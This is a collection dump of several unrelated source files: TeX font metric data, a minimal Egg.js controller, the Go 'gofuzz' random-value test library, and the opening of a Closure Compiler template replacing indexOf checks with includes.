(CHARWD R 0.448269)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER C t
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C u
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C v
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C w
(CHARWD R 0.965653)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER C x
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER C y
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER C z
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 173
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 174
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 175
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 176
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 177
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 200
(CHARWD R 0.815773)
(CHARHT R 0.5110445)
(CHARDP R 0.00191)
)
(CHARACTER O 201
(CHARWD R 0.598233)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 202
(CHARWD R 0.815773)
(CHARHT R 0.5110445)
(CHARDP R 0.00191)
)
(CHARACTER O 203
(CHARWD R 0.598233)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 204
(CHARWD R 0.971547)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 205
(CHARWD R 0.971547)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 206
(CHARWD R 0.971547)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 207
(CHARWD R 0.971547)
(CHARHT R 0.696012)
(CHARDP R 0.186877)
)
(CHARACTER O 210
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 211
(CHARWD R 0.443412)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 212
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 213
(CHARWD R 0.443412)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 214
(CHARWD R 0.862072)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 215
(CHARWD R 0.862072)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 216
(CHARWD R 0.862072)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 217
(CHARWD R 0.862072)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 220
(CHARWD R 0.815773)
(CHARHT R 0.573414)
(CHARDP R 0.064279)
)
(CHARACTER O 221
(CHARWD R 0.733383)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 222
(CHARWD R 0.815773)
(CHARHT R 0.573414)
(CHARDP R 0.064279)
)
(CHARACTER O 223
(CHARWD R 0.733383)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 224
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 225
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 226
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 227
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 230
(CHARWD R 0.815773)
(CHARHT R 0.573414)
(CHARDP R 0.064279)
)
(CHARACTER O 231
(CHARWD R 0.733383)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 232
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 233
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 234
(CHARWD R 0.815773)
(CHARHT R 0.573414)
(CHARDP R 0.064279)
)
(CHARACTER O 235
(CHARWD R 0.733383)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 236
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 237
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 240
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 241
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 242
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 243
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 244
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 245
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 246
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 247
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 250
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 251
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 252
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 253
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 254
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 255
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 256
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 257
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 260
(CHARWD R 0.93814)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 261
(CHARWD R 0.448269)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 262
(CHARWD R 0.959397)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 263
(CHARWD R 0.959397)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 264
(CHARWD R 0.93814)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 265
(CHARWD R 0.448269)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 266
(CHARWD R 0.959397)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 267
(CHARWD R 0.959397)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 270
(CHARWD R 0.815773)
(CHARHT R 0.446696)
(CHARDP R -0.062439)
)
(CHARACTER O 271
(CHARWD R 0.479949)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 272
(CHARWD R 0.815773)
(CHARHT R 0.446696)
(CHARDP R -0.062439)
)
(CHARACTER O 273
(CHARWD R 0.479949)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 274
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 275
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 276
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 277
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 300
(CHARWD R 0.815773)
(CHARHT R 0.446696)
(CHARDP R -0.062439)
)
(CHARACTER O 301
(CHARWD R 0.479949)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 302
(CHARWD R 0.815773)
(CHARHT R 0.446696)
(CHARDP R -0.062439)
)
(CHARACTER O 303
(CHARWD R 0.479949)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 304
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 305
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 306
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 307
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 310
(CHARWD R 0.815773)
(CHARHT R 0.446696)
(CHARDP R -0.062439)
)
(CHARACTER O 311
(CHARWD R 0.479949)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 312
(CHARWD R 0.815773)
(CHARHT R 0.446696)
(CHARDP R -0.062439)
)
(CHARACTER O 313
(CHARWD R 0.479949)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 314
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 315
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 316
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 317
(CHARWD R 0.887908)
(CHARHT R 0.650676)
(CHARDP R 0.141541)
)
(CHARACTER O 320
(CHARWD R 0.815773)
(CHARHT R 0.429642)
(CHARDP R -0.0794935)
)
(CHARACTER O 321
(CHARWD R 0.448269)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 322
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 323
(CHARWD R 0.865506)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 324
(CHARWD R 0.946294)
(CHARHT R 0.473624)
(CHARDP R -0.035511)
)
(CHARACTER O 325
(CHARWD R 0.533805)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 326
(CHARWD R 1.026135)
(CHARHT R 0.71979)
(CHARDP R 0.210655)
)
(CHARACTER O 327
(CHARWD R 1.026135)
(CHARHT R 0.71979)
(CHARDP R 0.210655)
)
(CHARACTER O 330
(CHARWD R 0.598237)
(CHARHT R 0.5110445)
(CHARDP R 0.00191)
)
(CHARACTER O 331
(CHARWD R 0.590827)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 332
(CHARWD R 0.598237)
(CHARHT R 0.5110445)
(CHARDP R 0.00191)
)
(CHARACTER O 333
(CHARWD R 0.590827)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 334
(CHARWD R 0.799397)
(CHARHT R 0.606463)
(CHARDP R 0.097328)
)
(CHARACTER O 335
(CHARWD R 0.799397)
(CHARHT R 0.606463)
(CHARDP R 0.097328)
)
(CHARACTER O 336
(CHARWD R 0.799397)
(CHARHT R 0.606463)
(CHARDP R 0.097328)
)
(CHARACTER O 337
(CHARWD R 0.799397)
(CHARHT R 0.606463)
(CHARDP R 0.097328)
)
(CHARACTER O 340
(CHARWD R 0.598237)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 341
(CHARWD R 0.662105)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 342
(CHARWD R 0.598237)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 343
(CHARWD R 0.662105)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 344
(CHARWD R 0.849799)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 345
(CHARWD R 0.849799)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 346
(CHARWD R 0.849799)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 347
(CHARWD R 0.849799)
(CHARHT R 0.635548)
(CHARDP R 0.126412)
)
(CHARACTER O 350
(CHARWD R 0.707)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 351
(CHARWD R 0.662105)
(CHARHT R 0.606463)
(CHARDP R 0.097328)
)
(CHARACTER O 352
(CHARWD R 0.707)
(CHARHT R 0.540321)
(CHARDP R 0.031186)
)
(CHARACTER O 353
(CHARWD R 0.662105)
(CHARHT R 0.606463)
(CHARDP R 0.097328)
)
(CHARACTER O 354
(CHARWD R 0.93325)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 355
(CHARWD R 0.93325)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 356
(CHARWD R 0.93325)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 357
(CHARWD R 0.93325)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 360
(CHARWD R 0.815773)
(CHARHT R 0.573414)
(CHARDP R 0.064279)
)
(CHARACTER O 361
(CHARWD R 0.733383)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 362
(CHARWD R 0.815773)
(CHARHT R 0.573414)
(CHARDP R 0.064279)
)
(CHARACTER O 363
(CHARWD R 0.733383)
(CHARHT R 0.678285)
(CHARDP R 0.16915)
)
(CHARACTER O 364
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 365
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 366
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 367
(CHARWD R 1.067113)
(CHARHT R 0.7434)
(CHARDP R 0.234264)
)
(CHARACTER O 370
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 371
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 372
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 373
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 374
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 375
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 376
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
(CHARACTER O 377
(CHARWD R 1.142082)
(CHARHT R 0.7716875)
(CHARDP R 0.262553)
)
| {
"pile_set_name": "Github"
} |
'use strict';
module.exports = app => {
class RenderController extends app.Controller {
* index() {
this.ctx.body = 'hello World';
}
}
return RenderController;
};
| {
"pile_set_name": "Github"
} |
/*
Copyright 2014 Google Inc. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package fuzz
import (
"fmt"
"math/rand"
"reflect"
"time"
)
// fuzzFuncMap is a map from a type to a fuzzFunc that handles that type.
type fuzzFuncMap map[reflect.Type]reflect.Value
// Fuzzer knows how to fill any object with random fields.
type Fuzzer struct {
fuzzFuncs fuzzFuncMap
defaultFuzzFuncs fuzzFuncMap
r *rand.Rand
nilChance float64
minElements int
maxElements int
maxDepth int
}
// New returns a new Fuzzer. Customize your Fuzzer further by calling Funcs,
// RandSource, NilChance, or NumElements in any order.
func New() *Fuzzer {
return NewWithSeed(time.Now().UnixNano())
}
func NewWithSeed(seed int64) *Fuzzer {
f := &Fuzzer{
defaultFuzzFuncs: fuzzFuncMap{
reflect.TypeOf(&time.Time{}): reflect.ValueOf(fuzzTime),
},
fuzzFuncs: fuzzFuncMap{},
r: rand.New(rand.NewSource(seed)),
nilChance: .2,
minElements: 1,
maxElements: 10,
maxDepth: 100,
}
return f
}
// Funcs adds each entry in fuzzFuncs as a custom fuzzing function.
//
// Each entry in fuzzFuncs must be a function taking two parameters.
// The first parameter must be a pointer or map. It is the variable that
// function will fill with random data. The second parameter must be a
// fuzz.Continue, which will provide a source of randomness and a way
// to automatically continue fuzzing smaller pieces of the first parameter.
//
// These functions are called sensibly, e.g., if you wanted custom string
// fuzzing, the function `func(s *string, c fuzz.Continue)` would get
// called and passed the address of strings. Maps and pointers will always
// be made/new'd for you, ignoring the NilChange option. For slices, it
// doesn't make much sense to pre-create them--Fuzzer doesn't know how
// long you want your slice--so take a pointer to a slice, and make it
// yourself. (If you don't want your map/pointer type pre-made, take a
// pointer to it, and make it yourself.) See the examples for a range of
// custom functions.
func (f *Fuzzer) Funcs(fuzzFuncs ...interface{}) *Fuzzer {
for i := range fuzzFuncs {
v := reflect.ValueOf(fuzzFuncs[i])
if v.Kind() != reflect.Func {
panic("Need only funcs!")
}
t := v.Type()
if t.NumIn() != 2 || t.NumOut() != 0 {
panic("Need 2 in and 0 out params!")
}
argT := t.In(0)
switch argT.Kind() {
case reflect.Ptr, reflect.Map:
default:
panic("fuzzFunc must take pointer or map type")
}
if t.In(1) != reflect.TypeOf(Continue{}) {
panic("fuzzFunc's second parameter must be type fuzz.Continue")
}
f.fuzzFuncs[argT] = v
}
return f
}
// RandSource causes f to get values from the given source of randomness.
// Use if you want deterministic fuzzing.
func (f *Fuzzer) RandSource(s rand.Source) *Fuzzer {
f.r = rand.New(s)
return f
}
// NilChance sets the probability of creating a nil pointer, map, or slice to
// 'p'. 'p' should be between 0 (no nils) and 1 (all nils), inclusive.
func (f *Fuzzer) NilChance(p float64) *Fuzzer {
if p < 0 || p > 1 {
panic("p should be between 0 and 1, inclusive.")
}
f.nilChance = p
return f
}
// NumElements sets the minimum and maximum number of elements that will be
// added to a non-nil map or slice.
func (f *Fuzzer) NumElements(atLeast, atMost int) *Fuzzer {
if atLeast > atMost {
panic("atLeast must be <= atMost")
}
if atLeast < 0 {
panic("atLeast must be >= 0")
}
f.minElements = atLeast
f.maxElements = atMost
return f
}
func (f *Fuzzer) genElementCount() int {
if f.minElements == f.maxElements {
return f.minElements
}
return f.minElements + f.r.Intn(f.maxElements-f.minElements+1)
}
func (f *Fuzzer) genShouldFill() bool {
return f.r.Float64() > f.nilChance
}
// MaxDepth sets the maximum number of recursive fuzz calls that will be made
// before stopping. This includes struct members, pointers, and map and slice
// elements.
func (f *Fuzzer) MaxDepth(d int) *Fuzzer {
f.maxDepth = d
return f
}
// Fuzz recursively fills all of obj's fields with something random. First
// this tries to find a custom fuzz function (see Funcs). If there is no
// custom function this tests whether the object implements fuzz.Interface and,
// if so, calls Fuzz on it to fuzz itself. If that fails, this will see if
// there is a default fuzz function provided by this package. If all of that
// fails, this will generate random values for all primitive fields and then
// recurse for all non-primitives.
//
// This is safe for cyclic or tree-like structs, up to a limit. Use the
// MaxDepth method to adjust how deep you need it to recurse.
//
// obj must be a pointer. Only exported (public) fields can be set (thanks,
// golang :/ ) Intended for tests, so will panic on bad input or unimplemented
// fields.
func (f *Fuzzer) Fuzz(obj interface{}) {
v := reflect.ValueOf(obj)
if v.Kind() != reflect.Ptr {
panic("needed ptr!")
}
v = v.Elem()
f.fuzzWithContext(v, 0)
}
// FuzzNoCustom is just like Fuzz, except that any custom fuzz function for
// obj's type will not be called and obj will not be tested for fuzz.Interface
// conformance. This applies only to obj and not other instances of obj's
// type.
// Not safe for cyclic or tree-like structs!
// obj must be a pointer. Only exported (public) fields can be set (thanks, golang :/ )
// Intended for tests, so will panic on bad input or unimplemented fields.
func (f *Fuzzer) FuzzNoCustom(obj interface{}) {
v := reflect.ValueOf(obj)
if v.Kind() != reflect.Ptr {
panic("needed ptr!")
}
v = v.Elem()
f.fuzzWithContext(v, flagNoCustomFuzz)
}
const (
// Do not try to find a custom fuzz function. Does not apply recursively.
flagNoCustomFuzz uint64 = 1 << iota
)
func (f *Fuzzer) fuzzWithContext(v reflect.Value, flags uint64) {
fc := &fuzzerContext{fuzzer: f}
fc.doFuzz(v, flags)
}
// fuzzerContext carries context about a single fuzzing run, which lets Fuzzer
// be thread-safe.
type fuzzerContext struct {
fuzzer *Fuzzer
curDepth int
}
func (fc *fuzzerContext) doFuzz(v reflect.Value, flags uint64) {
if fc.curDepth >= fc.fuzzer.maxDepth {
return
}
fc.curDepth++
defer func() { fc.curDepth-- }()
if !v.CanSet() {
return
}
if flags&flagNoCustomFuzz == 0 {
// Check for both pointer and non-pointer custom functions.
if v.CanAddr() && fc.tryCustom(v.Addr()) {
return
}
if fc.tryCustom(v) {
return
}
}
if fn, ok := fillFuncMap[v.Kind()]; ok {
fn(v, fc.fuzzer.r)
return
}
switch v.Kind() {
case reflect.Map:
if fc.fuzzer.genShouldFill() {
v.Set(reflect.MakeMap(v.Type()))
n := fc.fuzzer.genElementCount()
for i := 0; i < n; i++ {
key := reflect.New(v.Type().Key()).Elem()
fc.doFuzz(key, 0)
val := reflect.New(v.Type().Elem()).Elem()
fc.doFuzz(val, 0)
v.SetMapIndex(key, val)
}
return
}
v.Set(reflect.Zero(v.Type()))
case reflect.Ptr:
if fc.fuzzer.genShouldFill() {
v.Set(reflect.New(v.Type().Elem()))
fc.doFuzz(v.Elem(), 0)
return
}
v.Set(reflect.Zero(v.Type()))
case reflect.Slice:
if fc.fuzzer.genShouldFill() {
n := fc.fuzzer.genElementCount()
v.Set(reflect.MakeSlice(v.Type(), n, n))
for i := 0; i < n; i++ {
fc.doFuzz(v.Index(i), 0)
}
return
}
v.Set(reflect.Zero(v.Type()))
case reflect.Array:
if fc.fuzzer.genShouldFill() {
n := v.Len()
for i := 0; i < n; i++ {
fc.doFuzz(v.Index(i), 0)
}
return
}
v.Set(reflect.Zero(v.Type()))
case reflect.Struct:
for i := 0; i < v.NumField(); i++ {
fc.doFuzz(v.Field(i), 0)
}
case reflect.Chan:
fallthrough
case reflect.Func:
fallthrough
case reflect.Interface:
fallthrough
default:
panic(fmt.Sprintf("Can't handle %#v", v.Interface()))
}
}
// tryCustom searches for custom handlers, and returns true iff it finds a match
// and successfully randomizes v.
func (fc *fuzzerContext) tryCustom(v reflect.Value) bool {
// First: see if we have a fuzz function for it.
doCustom, ok := fc.fuzzer.fuzzFuncs[v.Type()]
if !ok {
// Second: see if it can fuzz itself.
if v.CanInterface() {
intf := v.Interface()
if fuzzable, ok := intf.(Interface); ok {
fuzzable.Fuzz(Continue{fc: fc, Rand: fc.fuzzer.r})
return true
}
}
// Finally: see if there is a default fuzz function.
doCustom, ok = fc.fuzzer.defaultFuzzFuncs[v.Type()]
if !ok {
return false
}
}
switch v.Kind() {
case reflect.Ptr:
if v.IsNil() {
if !v.CanSet() {
return false
}
v.Set(reflect.New(v.Type().Elem()))
}
case reflect.Map:
if v.IsNil() {
if !v.CanSet() {
return false
}
v.Set(reflect.MakeMap(v.Type()))
}
default:
return false
}
doCustom.Call([]reflect.Value{v, reflect.ValueOf(Continue{
fc: fc,
Rand: fc.fuzzer.r,
})})
return true
}
// Interface represents an object that knows how to fuzz itself. Any time we
// find a type that implements this interface we will delegate the act of
// fuzzing itself.
type Interface interface {
Fuzz(c Continue)
}
// Continue can be passed to custom fuzzing functions to allow them to use
// the correct source of randomness and to continue fuzzing their members.
type Continue struct {
fc *fuzzerContext
// For convenience, Continue implements rand.Rand via embedding.
// Use this for generating any randomness if you want your fuzzing
// to be repeatable for a given seed.
*rand.Rand
}
// Fuzz continues fuzzing obj. obj must be a pointer.
func (c Continue) Fuzz(obj interface{}) {
v := reflect.ValueOf(obj)
if v.Kind() != reflect.Ptr {
panic("needed ptr!")
}
v = v.Elem()
c.fc.doFuzz(v, 0)
}
// FuzzNoCustom continues fuzzing obj, except that any custom fuzz function for
// obj's type will not be called and obj will not be tested for fuzz.Interface
// conformance. This applies only to obj and not other instances of obj's
// type.
func (c Continue) FuzzNoCustom(obj interface{}) {
v := reflect.ValueOf(obj)
if v.Kind() != reflect.Ptr {
panic("needed ptr!")
}
v = v.Elem()
c.fc.doFuzz(v, flagNoCustomFuzz)
}
// RandString makes a random string up to 20 characters long. The returned string
// may include a variety of (valid) UTF-8 encodings.
func (c Continue) RandString() string {
return randString(c.Rand)
}
// RandUint64 makes random 64 bit numbers.
// Weirdly, rand doesn't have a function that gives you 64 random bits.
func (c Continue) RandUint64() uint64 {
return randUint64(c.Rand)
}
// RandBool returns true or false randomly.
func (c Continue) RandBool() bool {
return randBool(c.Rand)
}
func fuzzInt(v reflect.Value, r *rand.Rand) {
v.SetInt(int64(randUint64(r)))
}
func fuzzUint(v reflect.Value, r *rand.Rand) {
v.SetUint(randUint64(r))
}
func fuzzTime(t *time.Time, c Continue) {
var sec, nsec int64
// Allow for about 1000 years of random time values, which keeps things
// like JSON parsing reasonably happy.
sec = c.Rand.Int63n(1000 * 365 * 24 * 60 * 60)
c.Fuzz(&nsec)
*t = time.Unix(sec, nsec)
}
var fillFuncMap = map[reflect.Kind]func(reflect.Value, *rand.Rand){
reflect.Bool: func(v reflect.Value, r *rand.Rand) {
v.SetBool(randBool(r))
},
reflect.Int: fuzzInt,
reflect.Int8: fuzzInt,
reflect.Int16: fuzzInt,
reflect.Int32: fuzzInt,
reflect.Int64: fuzzInt,
reflect.Uint: fuzzUint,
reflect.Uint8: fuzzUint,
reflect.Uint16: fuzzUint,
reflect.Uint32: fuzzUint,
reflect.Uint64: fuzzUint,
reflect.Uintptr: fuzzUint,
reflect.Float32: func(v reflect.Value, r *rand.Rand) {
v.SetFloat(float64(r.Float32()))
},
reflect.Float64: func(v reflect.Value, r *rand.Rand) {
v.SetFloat(r.Float64())
},
reflect.Complex64: func(v reflect.Value, r *rand.Rand) {
panic("unimplemented")
},
reflect.Complex128: func(v reflect.Value, r *rand.Rand) {
panic("unimplemented")
},
reflect.String: func(v reflect.Value, r *rand.Rand) {
v.SetString(randString(r))
},
reflect.UnsafePointer: func(v reflect.Value, r *rand.Rand) {
panic("unimplemented")
},
}
// randBool returns true or false randomly.
func randBool(r *rand.Rand) bool {
if r.Int()&1 == 1 {
return true
}
return false
}
type charRange struct {
first, last rune
}
// choose returns a random unicode character from the given range, using the
// given randomness source.
func (r *charRange) choose(rand *rand.Rand) rune {
count := int64(r.last - r.first)
return r.first + rune(rand.Int63n(count))
}
var unicodeRanges = []charRange{
{' ', '~'}, // ASCII characters
{'\u00a0', '\u02af'}, // Multi-byte encoded characters
{'\u4e00', '\u9fff'}, // Common CJK (even longer encodings)
}
// randString makes a random string up to 20 characters long. The returned string
// may include a variety of (valid) UTF-8 encodings.
func randString(r *rand.Rand) string {
n := r.Intn(20)
runes := make([]rune, n)
for i := range runes {
runes[i] = unicodeRanges[r.Intn(len(unicodeRanges))].choose(r)
}
return string(runes)
}
// randUint64 makes random 64 bit numbers.
// Weirdly, rand doesn't have a function that gives you 64 random bits.
func randUint64(r *rand.Rand) uint64 {
return uint64(r.Uint32())<<32 | uint64(r.Uint32())
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2017 The Closure Compiler Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview RefasterJS templates for replacing the usage of
* Array.prototype.indexOf to determine whether an element is in the array or
* not with Array.prototype.includes.
*
* Note that Array.prototype.includes handles NaN in a different way:
* [1, 2, NaN].includes(NaN); // true
* [1, 2, NaN].indexOf(NaN); // -1
*
* Available in:
* - Chrome 47+
* - Firefox 43+
* - Edge 14+
* - Opera 34+
* - Safari 9+
* - IE n/a
*
* @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes
*
* This refactoring covers the most common cases in which this can be expressed:
*
* 'arr.includes(elem)' is equivalent to:
* - arr.indexOf(elem) != -1
* - arr.indexOf(elem) !== -1
* - arr.indexOf(elem) > -1
* - arr.indexOf(elem) >= 0
*
* '!arr.includes(elem)' is equivalent to:
* - arr.indexOf(elem) == -1
* - arr.indexOf(elem) === -1
* - arr.indexOf(elem) < 0
*/
// elem found in the array.
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_indexOfNotEqualsMinusOne(arr, elem) {
arr.indexOf(elem) != -1;
}
/**
* @param {!Array} arr
* @param {*} elem
*/
function after_indexOfNotEqualsMinusOne(arr, elem) {
arr.includes(elem);
}
/**
* @param {!Array} arr
* @param {*} elem
* @suppress {uselessCode}
*/
function before_indexOfStronglyNotEqualsMinusOne(arr, elem) {
arr.indexOf(elem) !== -1;
}
